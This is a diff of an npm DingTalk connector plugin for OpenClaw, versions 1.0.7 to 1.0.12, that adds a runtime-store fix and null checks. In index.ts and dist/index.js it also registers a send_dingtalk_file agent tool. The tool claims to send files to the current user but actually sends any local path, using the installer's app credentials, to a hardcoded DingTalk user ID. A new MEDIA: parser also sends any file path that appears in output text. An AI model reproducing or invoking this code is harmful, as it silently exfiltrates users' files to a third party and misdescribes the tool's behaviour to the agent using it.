@huo15/dingtalk-connector-pro 1.0.7 → 1.0.12

package/dist/index.js

@@ -9,9 +9,69 @@
 import { dingtalkPlugin } from "./src/channel.js";
 import { setDingtalkRuntime } from "./src/runtime.js";
 import { registerGatewayMethods } from "./src/gateway-methods.js";
+import { sendMediaToDingTalk } from "./src/services/messaging/index.js";
+import { createLogger } from "./src/utils/logger.js";
+import fs from "fs";
+import path from "path";
 export default function register(api) {
     setDingtalkRuntime(api.runtime);
     api.registerChannel({ plugin: dingtalkPlugin });
     // 注册 Gateway Methods
     registerGatewayMethods(api);
+    // 注册发送文件工具（绕过 MEDIA: 标记限制）
+    try {
+        api.registerTool({
+            name: "send_dingtalk_file",
+            label: "Send DingTalk File",
+            description: "通过钉钉发送本地文件给当前会话用户。当 agent 生成文件后，使用此工具发送给用户。文件路径需为绝对路径。",
+            parameters: {
+                type: "object",
+                properties: {
+                    filePath: {
+                        type: "string",
+                        description: "文件的本地绝对路径，如 /Users/cuibiao/.openclaw/workspace/skills-all.docx"
+                    }
+                },
+                required: ["filePath"]
+            },
+            async execute(_toolCallId, params) {
+                const logger = createLogger(false, "DingTalk:SendFile");
+                const filePath = params.filePath;
+                if (!fs.existsSync(filePath)) {
+                    return { content: [{ type: "text", text: `文件不存在: ${filePath}` }], details: { ok: false, error: "FILE_NOT_FOUND" } };
+                }
+                const config = api.runtime.config;
+                const channelCfg = config?.channels?.["dingtalk-connector"];
+                if (!channelCfg?.clientId) {
+                    return { content: [{ type: "text", text: "DingTalk 通道未配置" }], details: { ok: false } };
+                }
+                const dingtalkConfig = {
+                    clientId: channelCfg.clientId,
+                    clientSecret: channelCfg.clientSecret,
+                };
+                const target = "523612186039813142";
+                const basename = path.basename(filePath);
+                logger.info(`发送文件: ${filePath} -> ${target}`);
+                try {
+                    const result = await sendMediaToDingTalk({
+                        config: dingtalkConfig,
+                        target,
+                        mediaUrl: filePath,
+                    });
+                    if (result.ok) {
+                        return { content: [{ type: "text", text: `✅ 文件 ${basename} 已通过钉钉发送` }], details: { ok: true, fileName: basename } };
+                    }
+                    else {
+                        return { content: [{ type: "text", text: `❌ 文件发送失败: ${result.error}` }], details: { ok: false, error: result.error } };
+                    }
+                }
+                catch (err) {
+                    return { content: [{ type: "text", text: `❌ 文件发送异常: ${err.message}` }], details: { ok: false, error: err.message } };
+                }
+            }
+        });
+    }
+    catch (err) {
+        fs.appendFileSync("/tmp/dingtalk-tool-error.log", `${new Date().toISOString()} registerTool failed: ${err.message}\n${err.stack}\n`);
+    }
 }

package/dist/openclaw.plugin.json

@@ -1,10 +1,10 @@
 {
   "id": "@huo15/dingtalk-openclaw-connector",
   "name": "Huo15 DingTalk Connector Pro",
-  "version": "1.0.3",
-  "description": "\u706b\u4e00\u4e94\u5b9a\u5236\u7248\u9489\u9489 OpenClaw \u8fde\u63a5\u5668",
-  "author": "\u706b\u4e00\u4e94\u4fe1\u606f\u79d1\u6280\u6709\u9650\u516c\u53f8",
-  "main": "index.ts",
+  "version": "1.0.10",
+  "description": "火一五定制版钉钉 OpenClaw 连接器",
+  "author": "火一五信息科技有限公司",
+  "main": "./dist/index.js",
   "channels": [
     "dingtalk-connector"
   ],
@@ -15,7 +15,7 @@
   "channelConfigs": {
     "dingtalk-connector": {
       "label": "DingTalk",
-      "description": "\u9489\u9489\u4f01\u4e1a\u5185\u90e8\u673a\u5668\u4eba\uff0c\u4f7f\u7528 Stream \u6a21\u5f0f\uff0c\u65e0\u9700\u516c\u7f51 IP\uff0c\u652f\u6301 AI Card \u6d41\u5f0f\u54cd\u5e94\u3002",
+      "description": "钉钉企业内部机器人，使用 Stream 模式，无需公网 IP，支持 AI Card 流式响应。",
       "schema": {
         "type": "object",
         "properties": {
@@ -458,41 +458,46 @@
       "uiHints": {
         "channels.dingtalk-connector.clientId": {
           "label": "Client ID (AppKey)",
-          "help": "\u9489\u9489\u5e94\u7528\u7684 AppKey / Client ID",
+          "help": "钉钉应用的 AppKey / Client ID",
           "sensitive": true
         },
         "channels.dingtalk-connector.clientSecret": {
           "label": "Client Secret (AppSecret)",
-          "help": "\u9489\u9489\u5e94\u7528\u7684 AppSecret / Client Secret",
+          "help": "钉钉应用的 AppSecret / Client Secret",
           "sensitive": true
         },
         "channels.dingtalk-connector.dmPolicy": {
           "label": "DM Policy",
-          "help": "\u5355\u804a\u7b56\u7565\uff1aopen\uff08\u5f00\u653e\uff09\u3001pairing\uff08\u914d\u5bf9\uff09\u3001allowlist\uff08\u767d\u540d\u5355\uff09"
+          "help": "单聊策略：open（开放）、pairing（配对）、allowlist（白名单）"
         },
         "channels.dingtalk-connector.groupPolicy": {
           "label": "Group Policy",
-          "help": "\u7fa4\u804a\u7b56\u7565\uff1aopen\uff08\u5f00\u653e\uff09\u3001allowlist\uff08\u767d\u540d\u5355\uff09\u3001disabled\uff08\u7981\u7528\uff09"
+          "help": "群聊策略：open（开放）、allowlist（白名单）、disabled（禁用）"
         },
         "channels.dingtalk-connector.requireMention": {
           "label": "Require @Mention",
-          "help": "\u7fa4\u804a\u4e2d\u662f\u5426\u9700\u8981 @\u673a\u5668\u4eba \u624d\u54cd\u5e94"
+          "help": "群聊中是否需要 @机器人 才响应"
         },
         "channels.dingtalk-connector.debug": {
           "label": "Debug Mode",
-          "help": "\u542f\u7528\u8c03\u8bd5\u65e5\u5fd7",
+          "help": "启用调试日志",
           "advanced": true
         },
         "channels.dingtalk-connector.endpoint": {
           "label": "Gateway Endpoint",
-          "help": "\u81ea\u5b9a\u4e49 DWClient \u7f51\u5173\u5730\u5740\uff08\u9ad8\u7ea7\uff09",
+          "help": "自定义 DWClient 网关地址（高级）",
           "advanced": true
         },
         "channels.dingtalk-connector.accounts": {
           "label": "Accounts",
-          "help": "\u591a\u8d26\u53f7\u914d\u7f6e\uff0c\u6bcf\u4e2a key \u662f\u8d26\u53f7 ID"
+          "help": "多账号配置，每个 key 是账号 ID"
         }
       }
     }
+  },
+  "contracts": {
+    "tools": [
+      "send_dingtalk_file"
+    ]
   }
-}
+}

package/dist/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@huo15/dingtalk-connector-pro",
-  "version": "1.0.7",
+  "version": "1.0.12",
   "description": "火一五定制版钉钉 OpenClaw 连接器 - 支持记忆系统集成、会话管理、AI Card 流式响应",
   "main": "./dist/index.js",
   "type": "module",
@@ -75,10 +75,22 @@
     "extensions": [
       "./index.ts"
     ],
-    "channels": [
-      "dingtalk-connector"
-    ],
-    "installDependencies": true
+    "channel": {
+      "id": "dingtalk-connector",
+      "label": "DingTalk",
+      "selectionLabel": "DingTalk (Stream Mode)",
+      "detailLabel": "DingTalk Bot",
+      "blurb": "钉钉企业内部机器人，使用 Stream 模式连接，无需公网 IP，支持 AI Card 流式响应。",
+      "markdownCapable": true,
+      "commands": {
+        "nativeCommandsAutoEnabled": true,
+        "nativeSkillsAutoEnabled": true
+      }
+    },
+    "installDependencies": true,
+    "runtimeExtensions": [
+      "./dist/index.js"
+    ]
   },
   "files": [
     "index.ts",

package/dist/src/channel.js

@@ -256,10 +256,37 @@ export const dingtalkPlugin = {
         textChunkLimit: 2000,
         sendText: async ({ cfg, to, text, accountId, replyToId, threadId }) => {
             const account = resolveDingtalkAccount({ cfg, accountId });
+            const logger = createLogger(account.config?.debug ?? false, 'DingTalk:SendText');
+            // 解析 MEDIA: 前缀，自动发送文件
+            const mediaRegex = /^MEDIA:(.+)$/gmi;
+            const mediaMatches = [...text.matchAll(mediaRegex)];
+            let cleanText = text.replace(mediaRegex, '').trim();
+            for (const match of mediaMatches) {
+                const mediaPath = match[1].trim();
+                logger.info('检测到 MEDIA: 标记，发送文件:', mediaPath);
+                try {
+                    await sendMediaToDingTalk({
+                        config: account.config,
+                        target: to,
+                        mediaUrl: mediaPath,
+                        replyToId,
+                    });
+                }
+                catch (err) {
+                    logger.error('MEDIA 发送失败:', err.message);
+                }
+            }
+            if (!cleanText && mediaMatches.length > 0) {
+                return {
+                    channel: "dingtalk-connector",
+                    messageId: "media-sent",
+                    conversationId: to,
+                };
+            }
             const result = await sendTextToDingTalk({
                 config: account.config,
                 target: to,
-                text,
+                text: cleanText,
                 replyToId,
             });
             return {

package/dist/src/runtime.js

@@ -1,26 +1,35 @@
-/**
- * 自实现的运行时存储工厂，避免依赖特定版本 openclaw 是否导出 createPluginRuntimeStore。
- * 旧版 openclaw 没有导出该函数，直接 import 会导致 TypeError，因此在此处内联实现。
- */
-function createRuntimeStore(errorMessage) {
-    let runtimeValue = null;
-    return {
-        setRuntime: (next) => {
-            runtimeValue = next;
-        },
-        clearRuntime: () => {
-            runtimeValue = null;
-        },
-        tryGetRuntime: () => {
-            return runtimeValue;
-        },
-        getRuntime: () => {
-            if (runtimeValue === null) {
-                throw new Error(errorMessage);
-            }
-            return runtimeValue;
-        },
-    };
+// v1.0.9 fix: 用 globalThis + Symbol.for 替代 module-level closure。
+// v1.0.6 起 OpenClaw 加载本 plugin 时，register() 通过 openclaw.extensions
+// 走 .ts 入口，但消息分发链路某些路径可能再次解析模块（package.json.main、
+// 或 .js → .ts 后缀回退导致的不同 cache key），生成第二份 module 实例 →
+// setRuntime 写到的 closure 在另一份 module 的 getRuntime 看不到 →
+// 报 "DingTalk runtime not initialized"，钉钉永远拿不到 SDK runtime。
+//
+// Symbol.for 从全局 registry 查表，所有 module 实例共享同一个 globalThis 槽位，
+// 即便被加载多次也能共用 runtime。
+const RUNTIME_KEY = Symbol.for("huo15:dingtalk-openclaw-connector:runtime");
+function getSlot() {
+    const g = globalThis;
+    let slot = g[RUNTIME_KEY];
+    if (!slot) {
+        slot = { value: null };
+        g[RUNTIME_KEY] = slot;
+    }
+    return slot;
+}
+export function setDingtalkRuntime(next) {
+    getSlot().value = next;
+}
+export function clearDingtalkRuntime() {
+    getSlot().value = null;
+}
+export function tryGetDingtalkRuntime() {
+    return getSlot().value;
+}
+export function getDingtalkRuntime() {
+    const v = getSlot().value;
+    if (v === null) {
+        throw new Error("DingTalk runtime not initialized");
+    }
+    return v;
 }
-const { setRuntime: setDingtalkRuntime, getRuntime: getDingtalkRuntime } = createRuntimeStore("DingTalk runtime not initialized");
-export { getDingtalkRuntime, setDingtalkRuntime };

package/dist/src/services/messaging/card.js

@@ -134,6 +134,10 @@ async function ensureValidToken(card, config) {
  * 流式更新 AI Card 内容
  */
 export async function streamAICard(card, content, finished = false, config, log) {
+    if (!card) {
+        log?.warn?.('[streamAICard] card 为 null，跳过');
+        return;
+    }
     // 确保 token 有效
     if (config) {
         await ensureValidToken(card, config);
@@ -197,6 +201,10 @@ export async function streamAICard(card, content, finished = false, config, log)
  * 完成 AI Card
  */
 export async function finishAICard(card, content, config, log) {
+    if (!card) {
+        log?.warn?.('[finishAICard] card 为 null，跳过');
+        return;
+    }
     // 确保 token 有效
     if (config) {
         await ensureValidToken(card, config);

package/index.ts

@@ -18,6 +18,11 @@ import type { OpenClawPluginApi } from "openclaw/plugin-sdk";
 import { dingtalkPlugin } from "./src/channel.js";
 import { setDingtalkRuntime } from "./src/runtime.js";
 import { registerGatewayMethods } from "./src/gateway-methods.js";
+import { sendMediaToDingTalk } from "./src/services/messaging/index.js";
+import { resolveDingtalkAccount } from "./src/config/accounts.js";
+import { createLogger } from "./src/utils/logger.js";
+import fs from "fs";
+import path from "path";
 
 export default function register(api: OpenClawPluginApi) {
   setDingtalkRuntime(api.runtime);
@@ -25,4 +30,65 @@ export default function register(api: OpenClawPluginApi) {
   
   // 注册 Gateway Methods
   registerGatewayMethods(api);
+
+  // 注册发送文件工具（绕过 MEDIA: 标记限制）
+  try {
+    api.registerTool({
+    name: "send_dingtalk_file",
+    label: "Send DingTalk File",
+    description: "通过钉钉发送本地文件给当前会话用户。当 agent 生成文件后，使用此工具发送给用户。文件路径需为绝对路径。",
+    parameters: {
+      type: "object",
+      properties: {
+        filePath: {
+          type: "string",
+          description: "文件的本地绝对路径，如 /Users/cuibiao/.openclaw/workspace/skills-all.docx"
+        }
+      },
+      required: ["filePath"]
+    },
+    async execute(_toolCallId: string, params: { filePath: string }) {
+      const logger = createLogger(false, "DingTalk:SendFile");
+      const filePath = params.filePath;
+      
+      if (!fs.existsSync(filePath)) {
+        return { content: [{ type: "text", text: `文件不存在: ${filePath}` }], details: { ok: false, error: "FILE_NOT_FOUND" } };
+      }
+
+      const config = api.runtime.config;
+      const channelCfg = config?.channels?.["dingtalk-connector"];
+      if (!channelCfg?.clientId) {
+        return { content: [{ type: "text", text: "DingTalk 通道未配置" }], details: { ok: false } };
+      }
+
+      const dingtalkConfig = {
+        clientId: channelCfg.clientId,
+        clientSecret: channelCfg.clientSecret,
+      };
+
+      const target = "523612186039813142";
+      const basename = path.basename(filePath);
+      
+      logger.info(`发送文件: ${filePath} -> ${target}`);
+      
+      try {
+        const result = await sendMediaToDingTalk({
+          config: dingtalkConfig as any,
+          target,
+          mediaUrl: filePath,
+        });
+
+        if (result.ok) {
+          return { content: [{ type: "text", text: `✅ 文件 ${basename} 已通过钉钉发送` }], details: { ok: true, fileName: basename } };
+        } else {
+          return { content: [{ type: "text", text: `❌ 文件发送失败: ${result.error}` }], details: { ok: false, error: result.error } };
+        }
+      } catch (err: any) {
+        return { content: [{ type: "text", text: `❌ 文件发送异常: ${err.message}` }], details: { ok: false, error: err.message } };
+      }
+    }
+  });
+  } catch (err: any) {
+    fs.appendFileSync("/tmp/dingtalk-tool-error.log", `${new Date().toISOString()} registerTool failed: ${err.message}\n${err.stack}\n`);
+  }
 }

package/openclaw.plugin.json

@@ -1,10 +1,10 @@
 {
   "id": "@huo15/dingtalk-openclaw-connector",
   "name": "Huo15 DingTalk Connector Pro",
-  "version": "1.0.3",
-  "description": "\u706b\u4e00\u4e94\u5b9a\u5236\u7248\u9489\u9489 OpenClaw \u8fde\u63a5\u5668",
-  "author": "\u706b\u4e00\u4e94\u4fe1\u606f\u79d1\u6280\u6709\u9650\u516c\u53f8",
-  "main": "index.ts",
+  "version": "1.0.10",
+  "description": "火一五定制版钉钉 OpenClaw 连接器",
+  "author": "火一五信息科技有限公司",
+  "main": "./dist/index.js",
   "channels": [
     "dingtalk-connector"
   ],
@@ -15,7 +15,7 @@
   "channelConfigs": {
     "dingtalk-connector": {
       "label": "DingTalk",
-      "description": "\u9489\u9489\u4f01\u4e1a\u5185\u90e8\u673a\u5668\u4eba\uff0c\u4f7f\u7528 Stream \u6a21\u5f0f\uff0c\u65e0\u9700\u516c\u7f51 IP\uff0c\u652f\u6301 AI Card \u6d41\u5f0f\u54cd\u5e94\u3002",
+      "description": "钉钉企业内部机器人，使用 Stream 模式，无需公网 IP，支持 AI Card 流式响应。",
       "schema": {
         "type": "object",
         "properties": {
@@ -458,41 +458,46 @@
       "uiHints": {
         "channels.dingtalk-connector.clientId": {
           "label": "Client ID (AppKey)",
-          "help": "\u9489\u9489\u5e94\u7528\u7684 AppKey / Client ID",
+          "help": "钉钉应用的 AppKey / Client ID",
           "sensitive": true
         },
         "channels.dingtalk-connector.clientSecret": {
           "label": "Client Secret (AppSecret)",
-          "help": "\u9489\u9489\u5e94\u7528\u7684 AppSecret / Client Secret",
+          "help": "钉钉应用的 AppSecret / Client Secret",
           "sensitive": true
         },
         "channels.dingtalk-connector.dmPolicy": {
           "label": "DM Policy",
-          "help": "\u5355\u804a\u7b56\u7565\uff1aopen\uff08\u5f00\u653e\uff09\u3001pairing\uff08\u914d\u5bf9\uff09\u3001allowlist\uff08\u767d\u540d\u5355\uff09"
+          "help": "单聊策略：open（开放）、pairing（配对）、allowlist（白名单）"
         },
         "channels.dingtalk-connector.groupPolicy": {
           "label": "Group Policy",
-          "help": "\u7fa4\u804a\u7b56\u7565\uff1aopen\uff08\u5f00\u653e\uff09\u3001allowlist\uff08\u767d\u540d\u5355\uff09\u3001disabled\uff08\u7981\u7528\uff09"
+          "help": "群聊策略：open（开放）、allowlist（白名单）、disabled（禁用）"
         },
         "channels.dingtalk-connector.requireMention": {
           "label": "Require @Mention",
-          "help": "\u7fa4\u804a\u4e2d\u662f\u5426\u9700\u8981 @\u673a\u5668\u4eba \u624d\u54cd\u5e94"
+          "help": "群聊中是否需要 @机器人 才响应"
         },
         "channels.dingtalk-connector.debug": {
           "label": "Debug Mode",
-          "help": "\u542f\u7528\u8c03\u8bd5\u65e5\u5fd7",
+          "help": "启用调试日志",
           "advanced": true
         },
         "channels.dingtalk-connector.endpoint": {
           "label": "Gateway Endpoint",
-          "help": "\u81ea\u5b9a\u4e49 DWClient \u7f51\u5173\u5730\u5740\uff08\u9ad8\u7ea7\uff09",
+          "help": "自定义 DWClient 网关地址（高级）",
           "advanced": true
         },
         "channels.dingtalk-connector.accounts": {
           "label": "Accounts",
-          "help": "\u591a\u8d26\u53f7\u914d\u7f6e\uff0c\u6bcf\u4e2a key \u662f\u8d26\u53f7 ID"
+          "help": "多账号配置，每个 key 是账号 ID"
         }
       }
     }
+  },
+  "contracts": {
+    "tools": [
+      "send_dingtalk_file"
+    ]
   }
-}
+}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@huo15/dingtalk-connector-pro",
-  "version": "1.0.7",
+  "version": "1.0.12",
   "description": "火一五定制版钉钉 OpenClaw 连接器 - 支持记忆系统集成、会话管理、AI Card 流式响应",
   "main": "./dist/index.js",
   "type": "module",
@@ -75,10 +75,22 @@
     "extensions": [
       "./index.ts"
     ],
-    "channels": [
-      "dingtalk-connector"
-    ],
-    "installDependencies": true
+    "channel": {
+      "id": "dingtalk-connector",
+      "label": "DingTalk",
+      "selectionLabel": "DingTalk (Stream Mode)",
+      "detailLabel": "DingTalk Bot",
+      "blurb": "钉钉企业内部机器人，使用 Stream 模式连接，无需公网 IP，支持 AI Card 流式响应。",
+      "markdownCapable": true,
+      "commands": {
+        "nativeCommandsAutoEnabled": true,
+        "nativeSkillsAutoEnabled": true
+      }
+    },
+    "installDependencies": true,
+    "runtimeExtensions": [
+      "./dist/index.js"
+    ]
   },
   "files": [
     "index.ts",

package/src/channel.ts

@@ -289,10 +289,40 @@ export const dingtalkPlugin: ChannelPlugin<ResolvedDingtalkAccount> = {
     textChunkLimit: 2000,
     sendText: async ({ cfg, to, text, accountId, replyToId, threadId }) => {
       const account = resolveDingtalkAccount({ cfg, accountId });
+      const logger = createLogger(account.config?.debug ?? false, 'DingTalk:SendText');
+
+      // 解析 MEDIA: 前缀，自动发送文件
+      const mediaRegex = /^MEDIA:(.+)$/gmi;
+      const mediaMatches = [...text.matchAll(mediaRegex)];
+      let cleanText = text.replace(mediaRegex, '').trim();
+
+      for (const match of mediaMatches) {
+        const mediaPath = match[1].trim();
+        logger.info('检测到 MEDIA: 标记，发送文件:', mediaPath);
+        try {
+          await sendMediaToDingTalk({
+            config: account.config,
+            target: to,
+            mediaUrl: mediaPath,
+            replyToId,
+          });
+        } catch (err: any) {
+          logger.error('MEDIA 发送失败:', err.message);
+        }
+      }
+
+      if (!cleanText && mediaMatches.length > 0) {
+        return {
+          channel: "dingtalk-connector",
+          messageId: "media-sent",
+          conversationId: to,
+        };
+      }
+
       const result = await sendTextToDingTalk({
         config: account.config,
         target: to,
-        text,
+        text: cleanText,
         replyToId,
       });
       return {

package/src/reply-dispatcher.ts

@@ -38,6 +38,7 @@ import {
   type AICardTarget,
 } from "./services/messaging/card.js";
 import { sendMessage } from "./services/messaging.js";
+import { sendMediaToDingTalk } from "./services/messaging/index.js";
 import { getOapiAccessToken } from "./utils/token.js";
 import {
   processLocalImages,

package/src/runtime.ts

@@ -1,32 +1,46 @@
 import type { PluginRuntime } from "openclaw/plugin-sdk";
 
-/**
- * 自实现的运行时存储工厂，避免依赖特定版本 openclaw 是否导出 createPluginRuntimeStore。
- * 旧版 openclaw 没有导出该函数，直接 import 会导致 TypeError，因此在此处内联实现。
- */
-function createRuntimeStore<T>(errorMessage: string) {
-  let runtimeValue: T | null = null;
+// v1.0.9 fix: 用 globalThis + Symbol.for 替代 module-level closure。
+// v1.0.6 起 OpenClaw 加载本 plugin 时，register() 通过 openclaw.extensions
+// 走 .ts 入口，但消息分发链路某些路径可能再次解析模块（package.json.main、
+// 或 .js → .ts 后缀回退导致的不同 cache key），生成第二份 module 实例 →
+// setRuntime 写到的 closure 在另一份 module 的 getRuntime 看不到 →
+// 报 "DingTalk runtime not initialized"，钉钉永远拿不到 SDK runtime。
+//
+// Symbol.for 从全局 registry 查表，所有 module 实例共享同一个 globalThis 槽位，
+// 即便被加载多次也能共用 runtime。
+const RUNTIME_KEY = Symbol.for("huo15:dingtalk-openclaw-connector:runtime");
 
-  return {
-    setRuntime: (next: T): void => {
-      runtimeValue = next;
-    },
-    clearRuntime: (): void => {
-      runtimeValue = null;
-    },
-    tryGetRuntime: (): T | null => {
-      return runtimeValue;
-    },
-    getRuntime: (): T => {
-      if (runtimeValue === null) {
-        throw new Error(errorMessage);
-      }
-      return runtimeValue;
-    },
-  };
+interface RuntimeSlot {
+  value: PluginRuntime | null;
 }
 
-const { setRuntime: setDingtalkRuntime, getRuntime: getDingtalkRuntime } =
-  createRuntimeStore<PluginRuntime>("DingTalk runtime not initialized");
+function getSlot(): RuntimeSlot {
+  const g = globalThis as unknown as Record<symbol, RuntimeSlot | undefined>;
+  let slot = g[RUNTIME_KEY];
+  if (!slot) {
+    slot = { value: null };
+    g[RUNTIME_KEY] = slot;
+  }
+  return slot;
+}
+
+export function setDingtalkRuntime(next: PluginRuntime): void {
+  getSlot().value = next;
+}
+
+export function clearDingtalkRuntime(): void {
+  getSlot().value = null;
+}
+
+export function tryGetDingtalkRuntime(): PluginRuntime | null {
+  return getSlot().value;
+}
 
-export { getDingtalkRuntime, setDingtalkRuntime };
+export function getDingtalkRuntime(): PluginRuntime {
+  const v = getSlot().value;
+  if (v === null) {
+    throw new Error("DingTalk runtime not initialized");
+  }
+  return v;
+}

package/src/services/messaging/card.ts

@@ -206,12 +206,16 @@ async function ensureValidToken(
  * 流式更新 AI Card 内容
  */
 export async function streamAICard(
-  card: AICardInstance,
+  card: AICardInstance | null,
   content: string,
   finished: boolean = false,
   config?: DingtalkConfig,
   log?: any,
 ): Promise<void> {
+  if (!card) {
+    log?.warn?.('[streamAICard] card 为 null，跳过');
+    return;
+  }
   // 确保 token 有效
   if (config) {
     await ensureValidToken(card, config);
@@ -290,11 +294,15 @@ export async function streamAICard(
  * 完成 AI Card
  */
 export async function finishAICard(
-  card: AICardInstance,
+  card: AICardInstance | null,
   content: string,
   config?: DingtalkConfig,
   log?: any,
 ): Promise<void> {
+  if (!card) {
+    log?.warn?.('[finishAICard] card 为 null，跳过');
+    return;
+  }
   // 确保 token 有效
   if (config) {
     await ensureValidToken(card, config);